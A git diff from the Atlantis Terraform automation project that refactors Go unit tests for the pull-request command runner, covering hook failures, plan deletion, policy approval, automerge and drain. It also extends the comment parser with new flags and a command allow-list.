lockingLocker.VerifyWasCalledOnce().UnlockByPull(testdata.Pull.BaseRepo.FullName, testdata.Pull.Num) + commitUpdater.VerifyWasCalledOnce().UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Eq(models.PendingCommitStatus), Eq(command.Plan)) + commitUpdater.VerifyWasCalled(Never()).UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Eq(models.FailedCommitStatus), Any[command.Name]()) +} + +func TestRunAutoplanCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_True(t *testing.T) { + setup(t) + tmp := t.TempDir() + boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) + Ok(t, err) + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + + When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). + ThenReturn([]command.ProjectContext{ + { + CommandName: command.Plan, + }, + }, nil) + When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New("err")) + testdata.Pull.BaseRepo = testdata.GithubRepo + ch.FailOnPreWorkflowHookError = true + ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) + pendingPlanFinder.VerifyWasCalled(Never()).DeletePlans(Any[string]()) + lockingLocker.VerifyWasCalled(Never()).UnlockByPull(Any[string](), Any[int]()) + commitUpdater.VerifyWasCalledOnce().UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Eq(models.PendingCommitStatus), Eq(command.Plan)) +} + +func TestRunCommentCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_False(t *testing.T) { + setup(t) + tmp := t.TempDir() + boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) + Ok(t, err) + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + + When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectResult{PlanSuccess: &models.PlanSuccess{}}) + When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) + pull := &github.PullRequest{State: github.Ptr("open")} + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New("err")) + testdata.Pull.BaseRepo = testdata.GithubRepo + ch.FailOnPreWorkflowHookError = false + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + pendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp) +} + +func TestRunCommentCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_True(t *testing.T) { + setup(t) + tmp := t.TempDir() + boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) + Ok(t, err) + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + autoMerger.GlobalAutomerge = true + defer func() { autoMerger.GlobalAutomerge = false }() + + When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New("err")) + testdata.Pull.BaseRepo = testdata.GithubRepo + ch.FailOnPreWorkflowHookError = true + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + pendingPlanFinder.VerifyWasCalled(Never()).DeletePlans(Any[string]()) + lockingLocker.VerifyWasCalled(Never()).UnlockByPull(Any[string](), Any[int]()) +} + +func TestRunGenericPlanCommand_DeletePlans(t *testing.T) { + setup(t) + tmp := t.TempDir() boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) Ok(t, err) - ch.DB = boltDB - ch.GlobalAutomerge = true - defer func() { ch.GlobalAutomerge = false }() - - When(projectCommandBuilder.BuildAutoplanCommands(matchers.AnyPtrToEventsCommandContext())). - ThenReturn([]models.ProjectCommandContext{ - {}, - {}, + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + autoMerger.GlobalAutomerge = true + defer func() { autoMerger.GlobalAutomerge = false }() + + projectCtx := command.ProjectContext{ + CommandName: command.Plan, + ExecutionOrderGroup: 0, + ProjectName: "TestProject", + Workspace: "default", + BaseRepo: testdata.GithubRepo, + Pull: testdata.Pull, + } + When(projectCommandBuilder.BuildPlanCommands(Any[*command.Context](), Any[*events.CommentCommand]())). + ThenReturn([]command.ProjectContext{projectCtx}, nil) + When(projectCommandRunner.Plan(projectCtx)).ThenReturn(command.ProjectResult{ + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "true", + }, + }) + When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) + pull := &github.PullRequest{State: github.Ptr("open")} + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + testdata.Pull.BaseRepo = testdata.GithubRepo + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + lockingLocker.VerifyWasCalledOnce().Unlock(fmt.Sprintf("%s/%d/%s/%s", testdata.Pull.BaseRepo.FullName, testdata.Pull.Num, projectCtx.ProjectName, projectCtx.Workspace)) + + lockingLocker.VerifyWasCalledOnce(). + Unlock(testdata.Pull.BaseRepo.FullName + "/" + + strconv.Itoa(testdata.Pull.Num) + "/" + + projectCtx.ProjectName + "/" + + projectCtx.Workspace) +} + +func TestRunSpecificPlanCommandDoesnt_DeletePlans(t *testing.T) { + setup(t) + tmp := t.TempDir() + boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) + Ok(t, err) + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + autoMerger.GlobalAutomerge = true + defer func() { autoMerger.GlobalAutomerge = false }() + + When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectResult{PlanSuccess: &models.PlanSuccess{}}) + When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) + testdata.Pull.BaseRepo = testdata.GithubRepo + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan, ProjectName: "default"}) + pendingPlanFinder.VerifyWasCalled(Never()).DeletePlans(tmp) +} + +// Test that if one plan fails and we are using automerge, that +// we delete the plans. +func TestRunAutoplanCommandWithError_DeletePlans(t *testing.T) { + vcsClient := setup(t) + + tmp := t.TempDir() + boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) + Ok(t, err) + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + defer func() { autoMerger.GlobalAutomerge = false }() + + When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). + ThenReturn([]command.ProjectContext{ + { + CommandName: command.Plan, + AutomergeEnabled: true, // Setting this manually, since this tests bypasses automerge param reconciliation logic and otherwise defaults to false. + }, + { + CommandName: command.Plan, + AutomergeEnabled: true, // Setting this manually, since this tests bypasses automerge param reconciliation logic and otherwise defaults to false. + }, }, nil) callCount := 0 - When(projectCommandRunner.Plan(matchers.AnyModelsProjectCommandContext())).Then(func(_ []Param) ReturnValues { + When(projectCommandRunner.Plan(Any[command.ProjectContext]())).Then(func(_ []Param) ReturnValues { if callCount == 0 { // The first call, we return a successful result. callCount++ return ReturnValues{ - models.ProjectResult{ + command.ProjectResult{ PlanSuccess: &models.PlanSuccess{}, }, } } // The second call, we return a failed result. return ReturnValues{ - models.ProjectResult{ + command.ProjectResult{ Error: errors.New("err"), }, } }) - When(workingDir.GetPullDir(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest())). + When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())). ThenReturn(tmp, nil) - fixtures.Pull.BaseRepo = fixtures.GithubRepo - ch.RunAutoplanCommand(fixtures.GithubRepo, fixtures.GithubRepo, fixtures.Pull, fixtures.User) + testdata.Pull.BaseRepo = testdata.GithubRepo + ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) + // gets called twice: the first time before the plan starts, the second time after the plan errors + pendingPlanFinder.VerifyWasCalled(Times(2)).DeletePlans(tmp) + + vcsClient.VerifyWasCalled(Times(0)).DiscardReviews(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]()) +} + +func TestRunGenericPlanCommand_DiscardApprovals(t *testing.T) { + vcsClient := setup(t, func(testConfig *TestConfig) { + testConfig.discardApprovalOnPlan = true + }) + + tmp := t.TempDir() + boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) + Ok(t, err) + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + autoMerger.GlobalAutomerge = true + defer func() { autoMerger.GlobalAutomerge = false }() + + When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectResult{PlanSuccess: &models.PlanSuccess{}}) + When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) + pull := &github.PullRequest{State: github.Ptr("open")} + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + testdata.Pull.BaseRepo = testdata.GithubRepo + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) pendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp) + + vcsClient.VerifyWasCalledOnce().DiscardReviews(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]()) +} + +func TestFailedApprovalCreatesFailedStatusUpdate(t *testing.T) { + t.Log("if \"atlantis approve_policies\" is run by non policy owner policy check status fails.") + setup(t) + tmp := t.TempDir() + boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) + Ok(t, err) + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + autoMerger.GlobalAutomerge = true + defer func() { autoMerger.GlobalAutomerge = false }() + + pull := &github.PullRequest{ + State: github.Ptr("open"), + } + + modelPull := models.PullRequest{ + BaseRepo: testdata.GithubRepo, + State: models.OpenPullState, + Num: testdata.Pull.Num, + } + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + When(projectCommandBuilder.BuildApprovePoliciesCommands(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn([]command.ProjectContext{ + { + CommandName: command.ApprovePolicies, + }, + { + CommandName: command.ApprovePolicies, + }, + }, nil) + + When(workingDir.GetPullDir(testdata.GithubRepo, testdata.Pull)).ThenReturn(tmp, nil) + + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, &testdata.Pull, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.ApprovePolicies}) + commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( + Any[logging.SimpleLogging](), + Any[models.Repo](), + Any[models.PullRequest](), + Eq[models.CommitStatus](models.SuccessCommitStatus), + Eq[command.Name](command.PolicyCheck), + Eq(0), + Eq(2), + ) +} + +func TestApprovedPoliciesUpdateFailedPolicyStatus(t *testing.T) { + t.Log("if \"atlantis approve_policies\" is run by policy owner all policy checks are approved.") + setup(t) + tmp := t.TempDir() + boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) + Ok(t, err) + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + autoMerger.GlobalAutomerge = true + defer func() { autoMerger.GlobalAutomerge = false }() + + pull := &github.PullRequest{ + State: github.Ptr("open"), + } + + modelPull := models.PullRequest{ + BaseRepo: testdata.GithubRepo, + State: models.OpenPullState, + Num: testdata.Pull.Num, + } + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + When(projectCommandBuilder.BuildApprovePoliciesCommands(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn([]command.ProjectContext{ + { + CommandName: command.ApprovePolicies, + PolicySets: valid.PolicySets{ + Owners: valid.PolicyOwners{ + Users: []string{testdata.User.Username}, + }, + }, + }, + }, nil) + + When(workingDir.GetPullDir(testdata.GithubRepo, testdata.Pull)).ThenReturn(tmp, nil) + When(projectCommandRunner.ApprovePolicies(Any[command.ProjectContext]())).Then(func(_ []Param) ReturnValues { + return ReturnValues{ + command.ProjectResult{ + Command: command.PolicyCheck, + PolicyCheckResults: &models.PolicyCheckResults{}, + }, + } + }) + + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, &testdata.Pull, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.ApprovePolicies}) + commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( + Any[logging.SimpleLogging](), + Any[models.Repo](), + Any[models.PullRequest](), + Eq[models.CommitStatus](models.SuccessCommitStatus), + Eq[command.Name](command.PolicyCheck), + Eq(1), + Eq(1), + ) +} + +func TestApplyMergeablityWhenPolicyCheckFails(t *testing.T) { + t.Log("if \"atlantis apply\" is run with failing policy check then apply is not performed") + setup(t) + tmp := t.TempDir() + boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) + Ok(t, err) + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + autoMerger.GlobalAutomerge = true + defer func() { autoMerger.GlobalAutomerge = false }() + + pull := &github.PullRequest{ + State: github.Ptr("open"), + } + + modelPull := models.PullRequest{ + BaseRepo: testdata.GithubRepo, + State: models.OpenPullState, + Num: testdata.Pull.Num, + } + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + _, _ = boltDB.UpdatePullWithResults(modelPull, []command.ProjectResult{ + { + Command: command.PolicyCheck, + Error: fmt.Errorf("failing policy"), + ProjectName: "default", + Workspace: "default", + RepoRelDir: ".", + }, + }) + + When(ch.VCSClient.PullIsMergeable(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull), Eq("atlantis-test"), Eq([]string{}))).ThenReturn(true, nil) + + When(projectCommandBuilder.BuildApplyCommands(Any[*command.Context](), Any[*events.CommentCommand]())).Then(func(args []Param) ReturnValues { + return ReturnValues{ + []command.ProjectContext{ + { + CommandName: command.Apply, + ProjectName: "default", + Workspace: "default", + RepoRelDir: ".", + ProjectPlanStatus: models.ErroredPolicyCheckStatus, + }, + }, + nil, + } + }) + + When(workingDir.GetPullDir(testdata.GithubRepo, modelPull)).ThenReturn(tmp, nil) + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, &modelPull, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply}) } func TestApplyWithAutoMerge_VSCMerge(t *testing.T) { @@ -324,34 +1225,41 @@ func TestApplyWithAutoMerge_VSCMerge(t *testing.T) { vcsClient := setup(t) pull := &github.PullRequest{ - State: github.String("open"), + State: github.Ptr("open"), } - modelPull := models.PullRequest{BaseRepo: fixtures.GithubRepo, State: models.OpenPullState} - When(githubGetter.GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num)).ThenReturn(pull, nil) - When(eventParsing.ParseGithubPull(pull)).ThenReturn(modelPull, modelPull.BaseRepo, fixtures.GithubRepo, nil) - ch.GlobalAutomerge = true - defer func() { ch.GlobalAutomerge = false }() + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + autoMerger.GlobalAutomerge = true + defer func() { autoMerger.GlobalAutomerge = false }() - ch.RunCommentCommand(fixtures.GithubRepo, &fixtures.GithubRepo, nil, fixtures.User, fixtures.Pull.Num, &events.CommentCommand{Name: models.ApplyCommand}) - vcsClient.VerifyWasCalledOnce().MergePull(modelPull) + pullOptions := models.PullRequestOptions{ + DeleteSourceBranchOnMerge: false, + } + + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply}) + vcsClient.VerifyWasCalledOnce().MergePull(Any[logging.SimpleLogging](), Eq(modelPull), Eq(pullOptions)) } func TestRunApply_DiscardedProjects(t *testing.T) { t.Log("if \"atlantis apply\" is run with automerge and at least one project" + " has a discarded plan, automerge should not take place") vcsClient := setup(t) - ch.GlobalAutomerge = true - defer func() { ch.GlobalAutomerge = false }() - tmp, cleanup := TempDir(t) - defer cleanup() + autoMerger.GlobalAutomerge = true + defer func() { autoMerger.GlobalAutomerge = false }() + tmp := t.TempDir() boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) Ok(t, err) - ch.DB = boltDB - pull := fixtures.Pull - pull.BaseRepo = fixtures.GithubRepo - _, err = boltDB.UpdatePullWithResults(pull, []models.ProjectResult{ + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + pull := testdata.Pull + pull.BaseRepo = testdata.GithubRepo + _, err = boltDB.UpdatePullWithResults(pull, []command.ProjectResult{ { - Command: models.PlanCommand, + Command: command.Plan, RepoRelDir: ".", Workspace: "default", PlanSuccess: &models.PlanSuccess{ @@ -363,30 +1271,33 @@ func TestRunApply_DiscardedProjects(t *testing.T) { Ok(t, err) Ok(t, boltDB.UpdateProjectStatus(pull, "default", ".", models.DiscardedPlanStatus)) ghPull := &github.PullRequest{ - State: github.String("open"), + State: github.Ptr("open"), } - When(githubGetter.GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num)).ThenReturn(ghPull, nil) - When(eventParsing.ParseGithubPull(ghPull)).ThenReturn(pull, pull.BaseRepo, fixtures.GithubRepo, nil) - When(workingDir.GetPullDir(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest())). + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(ghPull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(ghPull))).ThenReturn(pull, pull.BaseRepo, testdata.GithubRepo, nil) + When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())). ThenReturn(tmp, nil) - ch.RunCommentCommand(fixtures.GithubRepo, &fixtures.GithubRepo, &pull, fixtures.User, fixtures.Pull.Num, &events.CommentCommand{Name: models.ApplyCommand}) - vcsClient.VerifyWasCalled(Never()).MergePull(matchers.AnyModelsPullRequest()) + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, &pull, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply}) + + vcsClient.VerifyWasCalled(Never()).MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]()) } func TestRunCommentCommand_DrainOngoing(t *testing.T) { t.Log("if drain is ongoing then a message should be displayed") vcsClient := setup(t) drainer.ShutdownBlocking() - ch.RunCommentCommand(fixtures.GithubRepo, &fixtures.GithubRepo, nil, fixtures.User, fixtures.Pull.Num, nil) - vcsClient.VerifyWasCalledOnce().CreateComment(fixtures.GithubRepo, fixtures.Pull.Num, "Atlantis server is shutting down, please try again later.", "") + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, nil) + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("Atlantis server is shutting down, please try again later."), Eq("")) } func TestRunCommentCommand_DrainNotOngoing(t *testing.T) { - t.Log("if drain is not ongoing then remove ongoing operation must be called even if panic occured") + t.Log("if drain is not ongoing then remove ongoing operation must be called even if panic occurred") setup(t) - When(githubGetter.GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num)).ThenPanic("panic test - if you're seeing this in a test failure this isn't the failing test") - ch.RunCommentCommand(fixtures.GithubRepo, &fixtures.GithubRepo, nil, fixtures.User, fixtures.Pull.Num, nil) - githubGetter.VerifyWasCalledOnce().GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num) + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenPanic( + "panic test - if you're seeing this in a test failure this isn't the failing test") + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + githubGetter.VerifyWasCalledOnce().GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num)) Equals(t, 0, drainer.GetStatus().InProgressOps) } @@ -394,16 +1305,17 @@ func TestRunAutoplanCommand_DrainOngoing(t *testing.T) { t.Log("if drain is ongoing then a message should be displayed") vcsClient := setup(t) drainer.ShutdownBlocking() - ch.RunAutoplanCommand(fixtures.GithubRepo, fixtures.GithubRepo, fixtures.Pull, fixtures.User) - vcsClient.VerifyWasCalledOnce().CreateComment(fixtures.GithubRepo, fixtures.Pull.Num, "Atlantis server is shutting down, please try again later.", "plan") + ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("Atlantis server is shutting down, please try again later."), Eq("plan")) } func TestRunAutoplanCommand_DrainNotOngoing(t *testing.T) { - t.Log("if drain is not ongoing then remove ongoing operation must be called even if panic occured") + t.Log("if drain is not ongoing then remove ongoing operation must be called even if panic occurred") setup(t) - fixtures.Pull.BaseRepo = fixtures.GithubRepo - When(projectCommandBuilder.BuildAutoplanCommands(matchers.AnyPtrToEventsCommandContext())).ThenPanic("panic test - if you're seeing this in a test failure this isn't the failing test") - ch.RunAutoplanCommand(fixtures.GithubRepo, fixtures.GithubRepo, fixtures.Pull, fixtures.User) - projectCommandBuilder.VerifyWasCalledOnce().BuildAutoplanCommands(matchers.AnyPtrToEventsCommandContext()) + testdata.Pull.BaseRepo = testdata.GithubRepo + When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())).ThenPanic("panic test - if you're seeing this in a test failure this isn't the failing test") + ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) + projectCommandBuilder.VerifyWasCalledOnce().BuildAutoplanCommands(Any[*command.Context]()) Equals(t, 0, drainer.GetStatus().InProgressOps) } diff --git a/server/events/comment_parser.go b/server/events/comment_parser.go index 9429b8e12b..36cf0651ec 100644 --- a/server/events/comment_parser.go +++ b/server/events/comment_parser.go @@ -16,28 +16,37 @@ package events import ( "bytes" "fmt" - "github.com/flynn-archive/go-shlex" - "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/yaml" - "github.com/spf13/pflag" - "io/ioutil" + "io" "net/url" "path/filepath" "regexp" "strings" "text/template" + + "github.com/google/shlex" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/utils" + "github.com/spf13/pflag" ) const ( - workspaceFlagLong = "workspace" - workspaceFlagShort = "w" - dirFlagLong = "dir" - dirFlagShort = "d" - projectFlagLong = "project" - projectFlagShort = "p" - verboseFlagLong = "verbose" - verboseFlagShort = "" - atlantisExecutable = "atlantis" + workspaceFlagLong = "workspace" + workspaceFlagShort = "w" + dirFlagLong = "dir" + dirFlagShort = "d" + projectFlagLong = "project" + projectFlagShort = "p" + policySetFlagLong = "policy-set" + policySetFlagShort = "" + autoMergeDisabledFlagLong = "auto-merge-disabled" + autoMergeDisabledFlagShort = "" + autoMergeMethodFlagLong = "auto-merge-method" + autoMergeMethodFlagShort = "" + verboseFlagLong = "verbose" + verboseFlagShort = "" + clearPolicyApprovalFlagLong = "clear-policy-approval" + clearPolicyApprovalFlagShort = "" ) // multiLineRegex is used to ignore multi-line comments since those aren't valid @@ -47,7 +56,7 @@ const ( // and pasting GitHub comments. var multiLineRegex = regexp.MustCompile(`.*\r?\n[^\r\n]+`) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_comment_parsing.go CommentParsing +//go:generate pegomock generate --package mocks -o mocks/mock_comment_parsing.go CommentParsing // CommentParsing handles parsing pull request comments. type CommentParsing interface { @@ -56,21 +65,50 @@ type CommentParsing interface { Parse(comment string, vcsHost models.VCSHostType) CommentParseResult } +//go:generate pegomock generate --package mocks -o mocks/mock_comment_building.go CommentBuilder + // CommentBuilder builds comment commands that can be used on pull requests. type CommentBuilder interface { // BuildPlanComment builds a plan comment for the specified args. BuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) string // BuildApplyComment builds an apply comment for the specified args. - BuildApplyComment(repoRelDir string, workspace string, project string) string + BuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string + // BuildApprovePoliciesComment builds an approve_policies comment for the specified args. + BuildApprovePoliciesComment(repoRelDir string, workspace string, project string) string } // CommentParser implements CommentParsing type CommentParser struct { GithubUser string GitlabUser string + GiteaUser string BitbucketUser string AzureDevopsUser string - ApplyDisabled bool + ExecutableName string + AllowCommands []command.Name +} + +// NewCommentParser returns a CommentParser +func NewCommentParser(githubUser, gitlabUser, giteaUser, bitbucketUser, azureDevopsUser, executableName string, allowCommands []command.Name) *CommentParser { + var commentAllowCommands []command.Name + for _, acceptableCommand := range command.AllCommentCommands { + for _, allowCommand := range allowCommands { + if acceptableCommand == allowCommand { + commentAllowCommands = append(commentAllowCommands, allowCommand) + break // for distinct + } + } + } + + return &CommentParser{ + GithubUser: githubUser, + GitlabUser: gitlabUser, + GiteaUser: giteaUser, + BitbucketUser: bitbucketUser, + AzureDevopsUser: azureDevopsUser, + ExecutableName: executableName, + AllowCommands: commentAllowCommands, + } } // CommentParseResult describes the result of parsing a comment as a command. @@ -88,20 +126,27 @@ type CommentParseResult struct { // Parse parses the comment as an Atlantis command. // // Valid commands contain: -// - The initial "executable" name, 'run' or 'atlantis' or '@GithubUser' -// where GithubUser is the API user Atlantis is running as. -// - Then a command, either 'plan', 'apply', or 'help'. -// - Then optional flags, then an optional separator '--' followed by optional -// extra flags to be appended to the terraform plan/apply command. +// - The initial "executable" name, 'run' or 'atlantis' or '@GithubUser' +// where GithubUser is the API user Atlantis is running as. +// - Then a command: 'plan', 'apply', 'unlock', 'version, 'approve_policies', +// or 'help'. +// - Then optional flags, then an optional separator '--' followed by optional +// extra flags to be appended to the terraform plan/apply command. // // Examples: // - atlantis help -// - run plan +// - run apply // - @GithubUser plan -w staging // - atlantis plan -w staging -d dir --verbose // - atlantis plan --verbose -- -key=value -key2 value2 -// -func (e *CommentParser) Parse(comment string, vcsHost models.VCSHostType) CommentParseResult { +// - atlantis unlock +// - atlantis version +// - atlantis approve_policies +// - atlantis import ADDRESS ID +func (e *CommentParser) Parse(rawComment string, vcsHost models.VCSHostType) CommentParseResult { + comment := strings.TrimSpace(rawComment) + comment = strings.Trim(comment, "`") + if multiLineRegex.MatchString(comment) { return CommentParseResult{Ignore: true} } @@ -113,9 +158,17 @@ func (e *CommentParser) Parse(comment string, vcsHost models.VCSHostType) Commen return CommentParseResult{Ignore: true} } + // Lowercase it to avoid autocorrect issues with browsers. + executableName := strings.ToLower(args[0]) + // Helpfully warn the user if they're using "terraform" instead of "atlantis" - if args[0] == "terraform" { - return CommentParseResult{CommentResponse: DidYouMeanAtlantisComment} + if executableName == "terraform" && e.ExecutableName != "terraform" { + return CommentParseResult{CommentResponse: fmt.Sprintf(DidYouMeanAtlantisComment, e.ExecutableName, "terraform")} + } + + // Helpfully warn the user that the command might be misspelled + if utils.IsSimilarWord(executableName, e.ExecutableName) { + return CommentParseResult{CommentResponse: fmt.Sprintf(DidYouMeanAtlantisComment, e.ExecutableName, args[0])} } // Atlantis can be invoked using the name of the VCS host user 